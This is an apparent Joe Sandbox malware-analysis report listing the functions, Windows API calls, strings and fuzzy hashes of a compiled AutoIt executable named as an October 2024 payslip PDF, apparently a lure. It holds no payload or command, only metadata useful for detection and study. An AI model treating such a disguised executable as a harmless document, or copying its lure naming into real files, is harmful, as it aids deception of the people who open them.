Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 1ab57180efb7a7b562f66500e315fbd1e34e707896a10e31020100734bea2a67
Instruction ID: db7a5e920f3299f1c9b9939e29aedc690c6362a3049024baa35a9d84c6ccdc8a
Opcode Fuzzy Hash: 1ab57180efb7a7b562f66500e315fbd1e34e707896a10e31020100734bea2a67
Instruction Fuzzy Hash: D7518E7190020AAACF15EBE4CD86EEEB778BF05304F144265F905B21A1EB316F59EB71

Function 00CA6BEC Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00CC0B9B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00CA6C6C,?,00008000), ref: 00CC0BB7

Part of subcall function 00CA48AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00CA48A1,?,?,00CA37C0,?), ref: 00CA48CE

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00CA6D0D
SetCurrentDirectoryW.KERNEL32(?), ref: 00CA6E5A

Part of subcall function 00CA59CD: _wcscpy.LIBCMT ref: 00CA5A05

Part of subcall function 00CC387D: _iswctype.LIBCMT ref: 00CC3885

Strings

Unterminated string, xrefs: 00CDEC0D
AU3!, xrefs: 00CA6CC1
Bad directive syntax error, xrefs: 00CDEBC6
Error opening the file, xrefs: 00CDE866, 00CDE8E1
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00CDE84A
>>>AUTOIT SCRIPT<<<, xrefs: 00CDE8BF
EA06, xrefs: 00CDE87B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 350787c319f00f474c05971d35122c34b911c4654e61ff80393697e19278ef42
Instruction ID: 29a22ff95db49dac1db6dbc546c79a1eb922fff0850f6afebfa2e4a52c13cb19
Opcode Fuzzy Hash: 350787c319f00f474c05971d35122c34b911c4654e61ff80393697e19278ef42
Instruction Fuzzy Hash: 2D02B5311083429FC724EF24C891AAFBBE5FF95318F04491EF599972A1DB30DA49EB52

Function 00CA45DF Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CA45F9
GetMenuItemCount.USER32(00D66890), ref: 00CDD7CD
GetMenuItemCount.USER32(00D66890), ref: 00CDD87D
GetCursorPos.USER32(?), ref: 00CDD8C1
SetForegroundWindow.USER32(00000000), ref: 00CDD8CA
TrackPopupMenuEx.USER32(00D66890,00000000,?,00000000,00000000,00000000), ref: 00CDD8DD
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00CDD8E9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: f57d77362cde890563a682ac7ac87ec015c3e9def6ef18bd5b0abb5a69ab1e6e
Instruction ID: fc1d295927fd635e0b786cd62f07e127de1c5f0f4d5f9fd8e4be24478bf05ff5
Opcode Fuzzy Hash: f57d77362cde890563a682ac7ac87ec015c3e9def6ef18bd5b0abb5a69ab1e6e
Instruction Fuzzy Hash: EB710970A01206BEEB359F15DC89FAABF65FF45358F100226F625A62E0C7B16D50DBA0

Function 00D210A5 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D20038,?,?), ref: 00D210BC

Strings

HKLM, xrefs: 00D2113A
HKEY_CURRENT_USER, xrefs: 00D2119B
HKU, xrefs: 00D211CE
HKEY_CURRENT_CONFIG, xrefs: 00D21179
HKCR, xrefs: 00D21164
HKEY_USERS, xrefs: 00D211BD
HKCC, xrefs: 00D2118A
HKEY_CLASSES_ROOT, xrefs: 00D2114F
HKEY_LOCAL_MACHINE, xrefs: 00D21125
HKCU, xrefs: 00D211AC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 891c47d8a877371eefd482d4a26c5883ff373a31798e0867a539fb2b81d6263c
Instruction ID: ba4637c06017c5fcf7ad21f04006ef268ad09c6934043e745d9050cffe0eb2bf
Opcode Fuzzy Hash: 891c47d8a877371eefd482d4a26c5883ff373a31798e0867a539fb2b81d6263c
Instruction Fuzzy Hash: 38413A3410035ACBCF10EF94E891AEA3724BF32358F548459FC925B292DB30AE1ADB70

Function 00D05569 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

Part of subcall function 00CA7A84: _memmove.LIBCMT ref: 00CA7B0D

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00D055D2
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00D055E8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D055F9
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00D0560B
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00D0561C

Strings

play PlayMe wait, xrefs: 00D05606
open , xrefs: 00D05581
status PlayMe mode, xrefs: 00D055CD
close PlayMe, xrefs: 00D055E3, 00D05610
alias PlayMe, xrefs: 00D055AB
play PlayMe, xrefs: 00D05617

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 9518241f5dc308752acf093055e5f40b69a0921756e94ccbd1e41d2aa6c6e16d
Instruction ID: 937504783d3dbcacb2f6d2ff8008c4695ca69e7afebc5cc502d7873b8aa0ad1f
Opcode Fuzzy Hash: 9518241f5dc308752acf093055e5f40b69a0921756e94ccbd1e41d2aa6c6e16d
Instruction Fuzzy Hash: 2B11812059016A79EB20A6A59C49DBF7B7CFF92B04F440669BC05920D5DA611D09C9B1

Function 00D048F3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00D0490E
gethostname.WSOCK32(?,00000100), ref: 00D04928
gethostbyname.WSOCK32(?), ref: 00D04935
_wcscpy.LIBCMT ref: 00D0495D
_memmove.LIBCMT ref: 00D04970
inet_ntoa.WSOCK32(?), ref: 00D0497B
_strcat.LIBCMT ref: 00D04989
_wcscpy.LIBCMT ref: 00D049A0
WSACleanup.WSOCK32 ref: 00D049AE
_wcscpy.LIBCMT ref: 00D049BC

Strings

0.0.0.0, xrefs: 00D04957

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 23276b6513501f3c822c62a13ac6cfa9919b62815280a47b4b379ac94eb73753
Instruction ID: 5fb79f4e273baa27bd0ebd9c6693112494088d6e8f690f7e7f4059344487b8bf
Opcode Fuzzy Hash: 23276b6513501f3c822c62a13ac6cfa9919b62815280a47b4b379ac94eb73753
Instruction Fuzzy Hash: 5D11D571904229ABCB34EB64EC0AFDB77BCDB41710F04017DF948D6191EF709A819AB1

Function 00D05217 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00D0521C

Part of subcall function 00CC0719: timeGetTime.WINMM(?,75C0B400,00CB0FF9), ref: 00CC071D

Sleep.KERNEL32(0000000A), ref: 00D05248
EnumThreadWindows.USER32(?,Function_000651CA,00000000), ref: 00D0526C
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00D0528E
SetActiveWindow.USER32 ref: 00D052AD
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00D052BB
SendMessageW.USER32(00000010,00000000,00000000), ref: 00D052DA
Sleep.KERNEL32(000000FA), ref: 00D052E5
IsWindow.USER32 ref: 00D052F1
EndDialog.USER32(00000000), ref: 00D05302

Strings

BUTTON, xrefs: 00D05280

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: cafb565ee4818589a82037482ccc994cf7d002f14968dd4dbca783c7f9bdd94e
Instruction ID: 74acce8ca434917f03275b303bf97c3154dd02048ca47145b627246b96d77140
Opcode Fuzzy Hash: cafb565ee4818589a82037482ccc994cf7d002f14968dd4dbca783c7f9bdd94e
Instruction Fuzzy Hash: 97219F70204709AFE7115B30FD89F2A3B69EB6934EF0418B8F80AC13F1DBA19C059A35

Function 00D0D7F8 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

CoInitialize.OLE32(00000000), ref: 00D0D855
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00D0D8E8
SHGetDesktopFolder.SHELL32(?), ref: 00D0D8FC
CoCreateInstance.OLE32(00D32D7C,00000000,00000001,00D5A89C,?), ref: 00D0D948
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00D0D9B7
CoTaskMemFree.OLE32(?,?), ref: 00D0DA0F
_memset.LIBCMT ref: 00D0DA4C
SHBrowseForFolderW.SHELL32(?), ref: 00D0DA88
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00D0DAAB
CoTaskMemFree.OLE32(00000000), ref: 00D0DAB2
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00D0DAE9
CoUninitialize.OLE32(00000001,00000000), ref: 00D0DAEB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: db9e2b5cfc0cee04a461b8f72c838811c9ab213bfb556a76d8c8b5910b76fd88
Instruction ID: 33535231b347536a51a04a3319a54d23c44455fa1723669fd6f015bbca7e9150
Opcode Fuzzy Hash: db9e2b5cfc0cee04a461b8f72c838811c9ab213bfb556a76d8c8b5910b76fd88
Instruction Fuzzy Hash: 01B11075A00109AFDB14DFA4C885EAEBBF9FF49314B048469F509EB251DB30ED45DB60

Function 00D0052C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00D005A7
SetKeyboardState.USER32(?), ref: 00D00612
GetAsyncKeyState.USER32(000000A0), ref: 00D00632
GetKeyState.USER32(000000A0), ref: 00D00649
GetAsyncKeyState.USER32(000000A1), ref: 00D00678
GetKeyState.USER32(000000A1), ref: 00D00689
GetAsyncKeyState.USER32(00000011), ref: 00D006B5
GetKeyState.USER32(00000011), ref: 00D006C3
GetAsyncKeyState.USER32(00000012), ref: 00D006EC
GetKeyState.USER32(00000012), ref: 00D006FA
GetAsyncKeyState.USER32(0000005B), ref: 00D00723
GetKeyState.USER32(0000005B), ref: 00D00731

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 1b01644074e7f2a982d1145e062356688f43811be8a95411f20788c121a198c4
Instruction ID: 1a32a9f344e67543010b2e18415d553f1f7c6bbab0194870e0107002c3ca1305
Opcode Fuzzy Hash: 1b01644074e7f2a982d1145e062356688f43811be8a95411f20788c121a198c4
Instruction Fuzzy Hash: 1651F930A047883AFB35DBA088547EABFB59F51380F4C8599D5CA571C2DAA49B4CCB72

Function 00CFC72A Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00CFC746
GetWindowRect.USER32(00000000,?), ref: 00CFC758
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00CFC7B6
GetDlgItem.USER32(?,00000002), ref: 00CFC7C1
GetWindowRect.USER32(00000000,?), ref: 00CFC7D3
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00CFC827
GetDlgItem.USER32(?,000003E9), ref: 00CFC835
GetWindowRect.USER32(00000000,?), ref: 00CFC846
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00CFC889
GetDlgItem.USER32(?,000003EA), ref: 00CFC897
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00CFC8B4
InvalidateRect.USER32(?,00000000,00000001), ref: 00CFC8C1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 02424d24a4d113554ffac78d9987fc5702542975122a13ea3f952cf62c66b91a
Instruction ID: 397989bbfddea47615bef0bb3876cc747f7a2d7eb891b3922bc57af56585e491
Opcode Fuzzy Hash: 02424d24a4d113554ffac78d9987fc5702542975122a13ea3f952cf62c66b91a
Instruction Fuzzy Hash: E9514F71B00209ABDB18CF69DD89AAEBBB6EB98711F14853DF615D7390D7709E018B10

Function 00CA201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00CA2036,?,00000000,?,?,?,?,00CA16CB,00000000,?), ref: 00CA1B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00CA20D3
KillTimer.USER32(-00000001,?,?,?,?,00CA16CB,00000000,?,?,00CA1AE2,?,?), ref: 00CA216E
DestroyAcceleratorTable.USER32(00000000), ref: 00CDBEF6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00CA16CB,00000000,?,?,00CA1AE2,?,?), ref: 00CDBF27
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00CA16CB,00000000,?,?,00CA1AE2,?,?), ref: 00CDBF3E
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00CA16CB,00000000,?,?,00CA1AE2,?,?), ref: 00CDBF5A
DeleteObject.GDI32(00000000), ref: 00CDBF6C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: dca442a800a550286ec757aa34578b3c6b7c072e711acef1a78275214e23a833
Instruction ID: 287c8efa8357d85b144b6d5f7a3bf06820f58ae9293964745d4ec4ce95c7c2dd
Opcode Fuzzy Hash: dca442a800a550286ec757aa34578b3c6b7c072e711acef1a78275214e23a833
Instruction Fuzzy Hash: 17616934100722DFCB359F69DD48B29B7B2FB5131AF10492AE65287BA0C771AD91DFA0

Function 00CA21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00CA25DB: GetWindowLongW.USER32(?,000000EB), ref: 00CA25EC

GetSysColor.USER32(0000000F), ref: 00CA21D3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 501e1693f1bb182298008ae6936656440f6554a59558dbc686783f67e2478aed
Instruction ID: 9fc162043691354ae14008d7da038d2a3d1ed253988dc49ea1b01f3e082bcc86
Opcode Fuzzy Hash: 501e1693f1bb182298008ae6936656440f6554a59558dbc686783f67e2478aed
Instruction Fuzzy Hash: A541BF310002619BDB215F2CDC88BB93B66EB57335F184365FE758A2E2C7318D42DB61

Function 00D0AB12 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00D2F910), ref: 00D0AB76
GetDriveTypeW.KERNEL32(00000061,00D5A620,00000061), ref: 00D0AC40
_wcscpy.LIBCMT ref: 00D0AC6A

Strings

fixed, xrefs: 00D0ABBE
cdrom, xrefs: 00D0AB92
unknown, xrefs: 00D0AC01
ramdisk, xrefs: 00D0ABEA
network, xrefs: 00D0ABD4
removable, xrefs: 00D0ABA8
all, xrefs: 00D0AB7C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: bd0e0fcd8c7fa8cd7afa05abd43b46390f6724913bc5d617ae0c67bdd2dd1d8a
Instruction ID: 52f0ec72a65cce18df7c32f9bd6a3b0f3f04f1d36b111247519667cc12d1ee66
Opcode Fuzzy Hash: bd0e0fcd8c7fa8cd7afa05abd43b46390f6724913bc5d617ae0c67bdd2dd1d8a
Instruction Fuzzy Hash: A7518D301083029BC714EF18C892FAEB7A5EF95305F14492DF89A572E2EB31DD49DA63

Function 00CA9997 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00CA99C2
__swprintf.LIBCMT ref: 00CA9A0C
__i64tow.LIBCMT ref: 00CDFA0F

Strings

%.15g, xrefs: 00CA9A06
0x%p, xrefs: 00CDF9F1
True, xrefs: 00CDF9D0
False, xrefs: 00CDF9D7

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: d4177cde928390d389e4fb76229e392d53d04921a86a9f22bd63571d51e72d18
Instruction ID: 1c16000f6e4078392f62bfa79204b32cf06cdf98246276f4b9b0401366ba048c
Opcode Fuzzy Hash: d4177cde928390d389e4fb76229e392d53d04921a86a9f22bd63571d51e72d18
Instruction Fuzzy Hash: C341E671904206BFDB24AB79DC42F7B73E8FB45304F20446FE64ED7291EA319A429B11

Function 00D273C1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D273D9
CreateMenu.USER32 ref: 00D273F4
SetMenu.USER32(?,00000000), ref: 00D27403
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D27490
IsMenu.USER32(?), ref: 00D274A6
CreatePopupMenu.USER32 ref: 00D274B0
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00D274DD
DrawMenuBar.USER32 ref: 00D274E5

Strings

0, xrefs: 00D273CF
F, xrefs: 00D274D1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

